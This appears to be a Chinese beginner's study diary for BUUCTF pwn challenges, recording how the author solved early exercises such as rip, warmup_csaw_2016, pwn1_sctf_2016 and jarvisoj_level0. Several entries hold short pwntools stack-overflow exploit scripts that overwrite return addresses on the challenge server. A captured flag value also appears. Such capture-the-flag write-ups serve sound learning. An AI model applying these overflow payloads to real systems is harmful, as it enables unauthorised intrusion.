BUUCTF pwn学习日记
我是纯新手,零基础的开始学Pwn喽
时间:2024年10月29日
BUUCTF Pwn 学习日记
1.test_your_nc
下载附件,用IDA打开

发现直接nc就可以获得flag

cat flag得到flag{07c0b69c-dcbf-4991-8cc6-05660b1a2dd2}
2.rip
IDA打开发现

没有看见有用信息,Shift+F12

发现了/bin/sh

初步怀疑是栈溢出,编写脚本
from pwn import *
p = remote("node5.buuoj.cn",27528)
payload = b'a' * (15+8) + p64(0x40118A)
p.sendline(payload)
p.interactive()
3.warmup_csaw_2016


nc后发现给出的地址在cat附近

且有get那么好像也是栈溢出呢

大小是0x40
所以套用上一个题的脚本有
from pwn import *
p = remote("node5.buuoj.cn",26099)
payload = b'a' * (0x40+8) + p64(0x40060d)
p.sendline(payload)
p.interactive()

4.ciscn_2019_n_1

发现是没有保护的,直接进入IDA

有system!也有gets,尝试栈溢出?


from pwn import *
p=remote("node5.buuoj.cn",28695)
#node5.buuoj.cn:28695
paypload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(paypload)
p.interactive()
5.pwn1_sctf_2016

看到NX enabled (堆栈不可执行),那么该怎么办呢?
---------------------------------------------------------------------------------------------------------------2024年10月29日截至到22.16
我们先打开IDA,看看伪代码

看到fgets(s,32,edata),s只能读取32(0x20)个数据,但是s实际上是有0x3c(60)个数据,好像没法栈溢出....
看到字符串"you"和"I"还有个replace函数
个人猜想:难不成是将I replace成 you 吗?

试验了一下,果然是的,那么好像就可以栈溢出了
60/3=20,那么只要输入20个I就行了
但是注意


还有db 4 dups,说明还需要4个数据才能溢出。所以脚本是
from pwn import *
p=remote("node5.buuoj.cn",27946)
#node5.buuoj.cn:27946
paypload=b'I'*(20)+b'1111'+p32(0x8048F0D)
p.sendline(paypload)
p.interactive()
6.jarvisoj_level0
先看保护

有NX保护,进IDA

有一个write函数,再进去看看

有read函数!这把鸡有啦

同时也看到了/bin/sh


开写脚本

from pwn import *
p=remote("node5.buuoj.cn",29200)
paypload=b'I'*(0x80)+b'11111111'+p64(0x0000000000400596)
p.sendline(paypload)
p.interactive()
7.[第五空间2019 决赛]PWN5

Stack:Canary found(开启了栈保护)
---------------------------------------------------------------------------------------------------------------2024年10月30日截至到18.08

浙公网安备 33010602011771号